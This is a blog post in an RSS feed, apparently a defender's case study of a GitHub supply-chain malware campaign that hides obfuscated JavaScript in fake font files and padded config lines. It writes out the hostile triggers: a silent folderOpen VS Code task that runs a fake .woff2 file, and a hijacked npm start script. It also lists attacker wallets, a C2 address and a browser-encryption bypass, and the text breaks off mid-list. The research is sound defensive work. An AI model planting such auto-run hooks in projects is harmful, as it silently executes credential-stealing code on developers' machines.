<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Thisal Dilmith</title>
    <description>The latest articles on DEV Community by Thisal Dilmith (@thisald).</description>
    <link>https://dev.to/thisald</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F1303377%2F26dc9a05-2faf-434d-9be9-928a3b35c74f.jpg</url>
      <title>DEV Community: Thisal Dilmith</title>
      <link>https://dev.to/thisald</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/thisald"/>
    <language>en</language>
    <item>
      <title>.vscode ? This is not safe</title>
      <dc:creator>Thisal Dilmith</dc:creator>
      <pubDate>Thu, 12 Nov 2026 17:38:21 +0000</pubDate>
      <link>https://dev.to/thisald/warning-a-font-file-in-your-github-repo-might-be-stealing-your-passwords-how-i-reverse-engineered-48fo</link>
      <guid>https://dev.to/thisald/warning-a-font-file-in-your-github-repo-might-be-stealing-your-passwords-how-i-reverse-engineered-48fo</guid>
      <description>&lt;p&gt;&lt;em&gt;How a university group project led me down a rabbit hole of fake &lt;code&gt;.woff2&lt;/code&gt;/&lt;code&gt;.ttf&lt;/code&gt;/&lt;code&gt;.eot&lt;/code&gt; font files, 150-space config injections, Ethereum smart-contract C2s, and Chrome 127+ encryption bypasses—plus the open-source scanner &amp;amp; AI audit prompt I built to help you check your repos.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;When you review a pull request or clone a friend's project from GitHub, how closely do you inspect &lt;code&gt;public/fonts/fa-solid-900.woff2&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;Probably not at all. It's just a Font Awesome icon file, right?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wrong.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;What started as a routine university group project turned into a full-scale malware investigation spanning &lt;strong&gt;21 infected GitHub repositories from developers around the world&lt;/strong&gt;, &lt;strong&gt;3 distinct malware families&lt;/strong&gt;, &lt;strong&gt;Ethereum blockchain dead-drop Command &amp;amp; Control ("EtherHiding")&lt;/strong&gt;, and a &lt;strong&gt;Python credential stealer that impersonates &lt;code&gt;lsass.exe&lt;/code&gt; (&lt;code&gt;SYSTEM&lt;/code&gt;) to bypass Chrome 127+ App-Bound Encryption&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Even worse: once one developer's GitHub credentials are stolen, the malware automatically infects &lt;strong&gt;every repository they have push access to&lt;/strong&gt;—turning trusted teammates into unintentional malware distributors.&lt;/p&gt;

&lt;p&gt;Here is the full story of how this campaign works, how it hides in plain sight inside GitHub's web UI, and how you can use the &lt;strong&gt;free, open-source Python Account Scanner &amp;amp; Cleaner&lt;/strong&gt; (and &lt;strong&gt;Ready-to-Copy AI Coding Agent Prompt&lt;/strong&gt;) I built to audit and clean your own repositories safely.&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/thisal-d" rel="noopener noreferrer"&gt;
        thisal-d
      &lt;/a&gt; / &lt;a href="https://github.com/thisal-d/fake-font-malware-case-study" rel="noopener noreferrer"&gt;
        fake-font-malware-case-study
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Static-analysis case study of a malicious repo that hid JavaScript in fake font files and auto-ran it via a VS Code folderOpen task, plus a related Python stealer sample, IOCs, YARA/Sigma rules, and cleanup steps.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Fake Font Malware: A Case Study &amp;amp; Unified GitHub Account Scanner / Repository Cleaner&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Last updated:&lt;/strong&gt; November 12, 2026 | &lt;strong&gt;Status:&lt;/strong&gt; v2.0, expanded global investigation (19 world repositories + 6 commit-pinned candidates) &amp;amp; unified standalone Python scanner/cleaner&lt;br&gt;
&lt;strong&gt;Repository:&lt;/strong&gt; &lt;code&gt;fake-font-malware-case-study&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/thisal-d/fake-font-malware-case-study/evidence/images/fake-font-malware-banner.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fthisal-d%2Ffake-font-malware-case-study%2FHEAD%2Fevidence%2Fimages%2Ffake-font-malware-banner.png" alt="Fake Font Supply-Chain Malware Threat Overview"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This repository documents a comprehensive static-analysis case study of a global GitHub supply-chain malware campaign affecting web, mobile, and backend repositories around the world (including university web coursework, a React Native / Expo IoT project &lt;code&gt;smart-water-tank-system&lt;/code&gt;, and 19 additional real-world developer repositories). The campaign disguises obfuscated Node.js payloads inside files developers treat as harmless—especially typography font assets (&lt;code&gt;.woff2&lt;/code&gt;, &lt;code&gt;.woff&lt;/code&gt;, &lt;code&gt;.ttf&lt;/code&gt;, &lt;code&gt;.otf&lt;/code&gt;, &lt;code&gt;.eot&lt;/code&gt;, &lt;code&gt;.orc&lt;/code&gt;, and &lt;code&gt;.lkf&lt;/code&gt;) and extensionless/decoy scripts (&lt;code&gt;init&lt;/code&gt;, &lt;code&gt;api.js&lt;/code&gt;, &lt;code&gt;dist/setup.js&lt;/code&gt;)—auto-executing them via Visual Studio Code &lt;code&gt;.vscode/tasks.json&lt;/code&gt; (&lt;code&gt;"runOn": "folderOpen"&lt;/code&gt;), build-tool configuration horizontal whitespace/tab injections (&lt;code&gt;babel.config.js&lt;/code&gt;, &lt;code&gt;postcss.config.mjs&lt;/code&gt;, &lt;code&gt;postcss.config.js&lt;/code&gt;, &lt;code&gt;vite.config.js&lt;/code&gt;, &lt;code&gt;tailwind.config.js&lt;/code&gt;, &lt;code&gt;eslint.config.mjs&lt;/code&gt;…&lt;/p&gt;&lt;/div&gt;
  &lt;/div&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/thisal-d/fake-font-malware-case-study" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;





&lt;h2&gt;
  
  
  🚨 Wait—Am I Infected? (Read This Before Opening Any Repo!)
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;⚠️ CRITICAL IDE WARNING: DO NOT OPEN SUSPICIOUS REPOS IN VS CODE, GOOGLE ANTIGRAVITY, CURSOR, OR WINDSURF!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; open unverified or potentially infected repositories directly in &lt;strong&gt;VS Code&lt;/strong&gt;, &lt;strong&gt;Google Antigravity&lt;/strong&gt;, &lt;strong&gt;Cursor&lt;/strong&gt;, &lt;strong&gt;Windsurf&lt;/strong&gt;, or any other graphical / AI-powered IDE before inspecting them from an isolated terminal!&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Silent Workspace Auto-Execution:&lt;/strong&gt; Infected repos contain &lt;code&gt;.vscode/tasks.json&lt;/code&gt; configured with &lt;code&gt;"runOn": "folderOpen"&lt;/code&gt; and &lt;code&gt;"reveal": "never"&lt;/code&gt;. The moment you open and trust the folder, &lt;code&gt;node&lt;/code&gt; silently executes the malware in the background.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IDE Extensions Auto-Evaluating Configs:&lt;/strong&gt; Extensions for &lt;strong&gt;ESLint&lt;/strong&gt;, &lt;strong&gt;PostCSS&lt;/strong&gt;, &lt;strong&gt;Tailwind CSS&lt;/strong&gt;, &lt;strong&gt;Vite&lt;/strong&gt;, &lt;strong&gt;Babel&lt;/strong&gt;, and &lt;strong&gt;TypeScript&lt;/strong&gt; automatically load and evaluate &lt;code&gt;vite.config.js&lt;/code&gt;, &lt;code&gt;postcss.config.mjs&lt;/code&gt;, &lt;code&gt;babel.config.js&lt;/code&gt;, and &lt;code&gt;eslint.config.mjs&lt;/code&gt; in the background to provide IntelliSense—triggering injected payloads before you ever run &lt;code&gt;npm start&lt;/code&gt;!&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;AI Agents Running Workspace Commands:&lt;/strong&gt; AI-powered IDEs may index files or invoke project scripts automatically during workspace initialization.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Always use an isolated CLI workflow first!&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  ⚡ 60-Second PowerShell Self-Check (Windows)
&lt;/h3&gt;

&lt;p&gt;If you recently cloned a repository from a classmate, colleague, or freelance client—or saw an unexpected Windows UAC administrator popup—run these read-only checks in PowerShell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c1"&gt;# 1. Check %TEMP% for dropped stealer scripts or batch files&lt;/span&gt;
&lt;span class="nc"&gt;Get&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;ChildItem&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="nv"&gt;$env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;TEMP&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Include&lt;/span&gt; &lt;span class="s2"&gt;"tmp*.py"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"config.bat"&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;File&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;ErrorAction&lt;/span&gt; &lt;span class="nc"&gt;SilentlyContinue&lt;/span&gt;

&lt;span class="c1"&gt;# 2. Check ~/.npm for hidden Family-B dropper directories&lt;/span&gt;
&lt;span class="nc"&gt;Get&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;ChildItem&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Path&lt;/span&gt; &lt;span class="s2"&gt;"$env:USERPROFILE\.npm"&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;Filter&lt;/span&gt; &lt;span class="s2"&gt;"scoped_dir*"&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;Directory&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;ErrorAction&lt;/span&gt; &lt;span class="nc"&gt;SilentlyContinue&lt;/span&gt;

&lt;span class="c1"&gt;# 3. Check for active connections to the known Python stealer C2&lt;/span&gt;
&lt;span class="nc"&gt;Get&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;NetTCPConnection&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;RemoteAddress&lt;/span&gt; &lt;span class="s2"&gt;"91.218.183.174"&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nc"&gt;ErrorAction&lt;/span&gt; &lt;span class="nc"&gt;SilentlyContinue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  🕵️‍♂️ How I Discovered It: The "Same-Day Timestamp" Clue
&lt;/h2&gt;

&lt;p&gt;My team was collaborating on a standard university project hosted on GitHub. Also, I had an older IoT / React Native project (&lt;code&gt;smart-water-tank-system&lt;/code&gt;) where a friend was a collaborator.&lt;/p&gt;

&lt;p&gt;One day, I visited my collaborator's GitHub profile and noticed something deeply strange: &lt;strong&gt;every single repository on their account had been updated on the exact same day.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When I opened the commits, nothing looked obviously broken at first glance. The attackers had manipulated the repository files so their additions blended into normal project assets.&lt;/p&gt;

&lt;p&gt;Then I looked closer—and found &lt;strong&gt;four layers of deception&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🎭 The 4 Evasion Tricks Hiding in Plain Sight
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Trick #1: The 150-Space "Invisible Line" &amp;amp; GitHub's Symbols Sidebar Blindspot
&lt;/h3&gt;

&lt;p&gt;Open &lt;code&gt;postcss.config.mjs&lt;/code&gt;, &lt;code&gt;vite.config.js&lt;/code&gt;, &lt;code&gt;babel.config.js&lt;/code&gt;, &lt;code&gt;tailwind.config.js&lt;/code&gt;, or even regular application files like &lt;code&gt;counter.controller.js&lt;/code&gt; in GitHub's web viewer, and the file looks completely normal:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo7ttv7ddlxbinr88k1du.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo7ttv7ddlxbinr88k1du.png" alt="counter.controller.js default view in GitHub" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now scroll &lt;strong&gt;horizontally past column 150&lt;/strong&gt; (up to column 579 in some files):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwttbxnrjikabge1dtchd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwttbxnrjikabge1dtchd.png" alt="counter.controller.js scrolled horizontally revealing injected malware" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The attacker appended &lt;strong&gt;120 to 579 ASCII space characters (&lt;code&gt;0x20&lt;/code&gt;)&lt;/strong&gt; (or dozens of tabs &lt;code&gt;0x09&lt;/code&gt;) at the end of a legitimate line of code, followed by &lt;strong&gt;30 KB to 40 KB of heavily obfuscated JavaScript&lt;/strong&gt; on that single line!&lt;/p&gt;

&lt;p&gt;Even more clever: in GitHub's web UI, if you have the right-hand &lt;strong&gt;Symbols&lt;/strong&gt; sidebar open, the narrower code viewport hides the horizontal injection completely off-screen:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flrhi5z1vi6dglsjv6vr5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flrhi5z1vi6dglsjv6vr5.png" alt="PostCSS config with Symbols sidebar hiding the payload" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Trick #2: Fake Font Files Staged Alongside Real Fonts
&lt;/h3&gt;

&lt;p&gt;Instead of dropping an obvious &lt;code&gt;malware.js&lt;/code&gt; file, the attacker creates a font directory (like &lt;code&gt;public/fonts/&lt;/code&gt; or &lt;code&gt;Manifest Configuration/xml/public/fonts/&lt;/code&gt;) containing &lt;strong&gt;14 real, valid binary Font Awesome files&lt;/strong&gt;—and &lt;strong&gt;1 fake font file&lt;/strong&gt; containing plain-text obfuscated JavaScript:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6q66c7d1jlsc1hfw95hc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6q66c7d1jlsc1hfw95hc.png" alt="Fake font folder overview in GitHub" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;When you open &lt;code&gt;fa-solid-900.woff2&lt;/code&gt; or &lt;code&gt;fa-brand-400.orc&lt;/code&gt; as text, there are no binary font headers (&lt;code&gt;wOF2&lt;/code&gt;, &lt;code&gt;wOFF&lt;/code&gt;, &lt;code&gt;OTTO&lt;/code&gt;, &lt;code&gt;\x00\x01\x00\x00&lt;/code&gt;). It is pure JavaScript:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9vuiosc7k236antdnt1i.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9vuiosc7k236antdnt1i.png" alt="fa-solid-900.woff2 opened as text showing JavaScript" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Across the &lt;strong&gt;21 repositories and 6 candidate samples&lt;/strong&gt; we analyzed, we found identical or evolved JavaScript payloads disguised inside:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;.woff2&lt;/code&gt; (&lt;code&gt;fa-solid-900.woff2&lt;/code&gt;, &lt;code&gt;fa-solid-500.woff2&lt;/code&gt;, &lt;code&gt;fa-brands-regular.woff2&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.woff&lt;/code&gt; (&lt;code&gt;fa-brand-400.woff&lt;/code&gt; — note the singular &lt;code&gt;fa-brand&lt;/code&gt; typo alongside a real &lt;code&gt;fa-brands-400.woff&lt;/code&gt;!)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.ttf&lt;/code&gt; (&lt;code&gt;fa-brands-400.ttf&lt;/code&gt;, &lt;code&gt;fa-solid-600.ttf&lt;/code&gt;, &lt;code&gt;fa-solid-300.ttf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.otf&lt;/code&gt; (&lt;code&gt;fa-solid-700.otf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.eot&lt;/code&gt; (&lt;code&gt;fa-solid-900.eot&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.svg&lt;/code&gt; (&lt;code&gt;fa-brands-400.svg&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;.orc&lt;/code&gt; &amp;amp; &lt;code&gt;.lkf&lt;/code&gt; (&lt;code&gt;fa-brand-400.orc&lt;/code&gt;, &lt;code&gt;fa-solid.lkf&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Decoy app files: &lt;code&gt;api.js&lt;/code&gt;, &lt;code&gt;dist/setup.js&lt;/code&gt;, and extensionless &lt;code&gt;init&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;💡 Key Proof from Our Research:&lt;/strong&gt;&lt;br&gt;
Two files in completely different repositories—&lt;code&gt;fa-brand-400.orc&lt;/code&gt; in one repo and &lt;code&gt;fa-solid-600.ttf&lt;/code&gt; in another—had the &lt;strong&gt;exact same SHA-256 hash (&lt;code&gt;89ADAC5B...&lt;/code&gt;)&lt;/strong&gt;. The file extension means nothing to &lt;code&gt;node&lt;/code&gt;—Node.js will happily execute any file you pass to it, even if it ends in &lt;code&gt;.woff2&lt;/code&gt; or &lt;code&gt;.ttf&lt;/code&gt;!&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  Trick #3: Silent Execution via &lt;code&gt;.vscode/tasks.json&lt;/code&gt; &amp;amp; &lt;code&gt;package.json&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;How does a &lt;code&gt;.woff2&lt;/code&gt; or &lt;code&gt;.eot&lt;/code&gt; file get executed by Node.js? The attacker plants multiple traps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;VS Code Auto-Run Tasks (&lt;code&gt;.vscode/tasks.json&lt;/code&gt;):&lt;/strong&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;   &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"2.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
     &lt;span class="nl"&gt;"tasks"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
       &lt;span class="p"&gt;{&lt;/span&gt;
         &lt;span class="nl"&gt;"label"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"eslint-check"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="nl"&gt;"type"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"shell"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="nl"&gt;"command"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"node ./public/fonts/fa-solid-900.woff2"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="nl"&gt;"runOptions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"runOn"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"folderOpen"&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
         &lt;span class="nl"&gt;"presentation"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nl"&gt;"reveal"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"never"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nl"&gt;"echo"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
       &lt;span class="p"&gt;}&lt;/span&gt;
     &lt;span class="p"&gt;]&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hijacked &lt;code&gt;package.json&lt;/code&gt; Scripts:&lt;/strong&gt;
In my React Native / Expo project (&lt;code&gt;smart-water-tank-system&lt;/code&gt;), the attacker modified &lt;code&gt;package.json&lt;/code&gt;:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;   &lt;span class="nl"&gt;"scripts"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
     &lt;span class="nl"&gt;"start"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"node api.js &amp;amp;&amp;amp; expo start"&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And inside &lt;code&gt;.gitignore&lt;/code&gt;, the attacker added &lt;code&gt;config.bat&lt;/code&gt;, &lt;code&gt;branch_structure.json&lt;/code&gt;, &lt;code&gt;temp_auto_push.bat&lt;/code&gt;, and &lt;code&gt;temp_interactive_push.bat&lt;/code&gt; so their infection scripts wouldn't show up in &lt;code&gt;git status&lt;/code&gt;!&lt;/p&gt;




&lt;h2&gt;
  
  
  🧬 Reverse-Engineering the Payloads: 3 Malware Families &amp;amp; Blockchain C2
&lt;/h2&gt;

&lt;p&gt;We statically reversed every layer of obfuscation across the global corpus without executing a single line of untrusted code. Here is what the malware actually does:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Compromised GitHub Account Pushes to Repo
  │
  ├─► Trigger 1: .vscode/tasks.json ("runOn": "folderOpen")
  ├─► Trigger 2: 150-Space Config Injection (vite / postcss / babel / tailwind)
  └─► Trigger 3: Hijacked package.json ("node api.js &amp;amp;&amp;amp; ...")
        │
        ▼
  Stage-1 Obfuscated Node.js Loader (inside .woff2 / .ttf / .eot / .orc / api.js)
        │
        ├─► Family-A ("EtherHiding"): Queries Ethereum Mainnet RPCs for Attacker Wallet
        │     ├─ Gen 1 Wallet: 0xa322E5f3D311D3080e6f0121063e9aDC2490Ef1a
        │     ├─ Gen 2 Wallet: 0x1eEf0849EDa15d87f64e51C73C8442Cf3c8bCEF3
        │     └─ Gen 3 Wallet: 0x026279659f39006684fC45279939D21F7f31280A
        │     └─► Extracts C2 IPv4 addresses from tx.to bytes 0..7!
        │
        └─► Family-B ("js-confuser" Base91 Dropper):
              └─► Drops ~/.npm/scoped_dir6760_*/main.js, lowers PowerShell ExecutionPolicy,
                  and fetches Stage-2 from eth-mainnet-alchemy.com
        │
        ▼
  Stage-2 Python Credential Stealer ("Verify-Human" / "BRW" in %TEMP%\tmp*.py)
        │
        ├─► Windows: UAC Elevation Loop -&amp;gt; Impersonates lsass.exe (SYSTEM)
        │            Bypasses Chrome 127+ / Brave / Edge App-Bound Encryption!
        ├─► macOS:   Dumps Keychain Git credentials (/usr/bin/security)
        ├─► Linux:   Queries D-Bus Secret Service / KWallet
        └─► Exfiltrates master keys &amp;amp; tokens -&amp;gt; Self-deletes (%TEMP%\tmp*.py)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  1. Why Take Down a C2 Server When You Can Hide It on Ethereum? ("EtherHiding")
&lt;/h3&gt;

&lt;p&gt;In &lt;strong&gt;Family-A&lt;/strong&gt;, the Stage-1 JavaScript loader doesn't hardcode a C2 IP address that defenders can block. Instead, it queries up to &lt;strong&gt;27 public Ethereum Mainnet RPC endpoints&lt;/strong&gt; (&lt;code&gt;1rpc.io/eth&lt;/code&gt;, &lt;code&gt;eth.drpc.org&lt;/code&gt;, &lt;code&gt;ethereum-rpc.publicnode.com&lt;/code&gt;, etc.) to fetch the latest transaction from the attacker's wallet (&lt;code&gt;0xa322...Ef1a&lt;/code&gt;, &lt;code&gt;0x1eEf...CEF3&lt;/code&gt;, or &lt;code&gt;0x0262...280A&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;It then takes the &lt;strong&gt;first 8 bytes of the 20-byte Ethereum recipient address (&lt;code&gt;tx.to&lt;/code&gt;)&lt;/strong&gt; and converts them directly into &lt;strong&gt;two IPv4 C2 server addresses (&lt;code&gt;ip1&lt;/code&gt; and &lt;code&gt;ip2&lt;/code&gt;)&lt;/strong&gt;! Whenever a C2 server gets taken down, the attacker simply sends a tiny Ethereum transaction to update the IP address globally for all infected repositories.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Bypassing Chrome 127+ App-Bound Encryption via &lt;code&gt;lsass.exe&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The final stage (&lt;code&gt;Verify-Human&lt;/code&gt; / &lt;code&gt;BRW&lt;/code&gt; Python stealer) writes itself to &lt;code&gt;%TEMP%\tmpXXXXXXXX.py&lt;/code&gt; and loops a Windows UAC prompt (&lt;code&gt;ShellExecuteExW&lt;/code&gt; with &lt;code&gt;runas&lt;/code&gt;) until the developer clicks "Yes".&lt;/p&gt;

&lt;p&gt;Once elevated:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;It enables &lt;code&gt;SeDebugPrivilege&lt;/code&gt;.&lt;/li&gt;
